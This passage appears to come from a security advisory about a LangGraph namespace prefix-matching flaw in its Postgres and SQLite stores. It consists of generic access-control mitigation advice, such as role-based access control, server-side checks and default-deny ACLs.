"summary": "LangGraph: Namespace prefix matching crosses segment boundaries in Postgres and SQLite stores"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.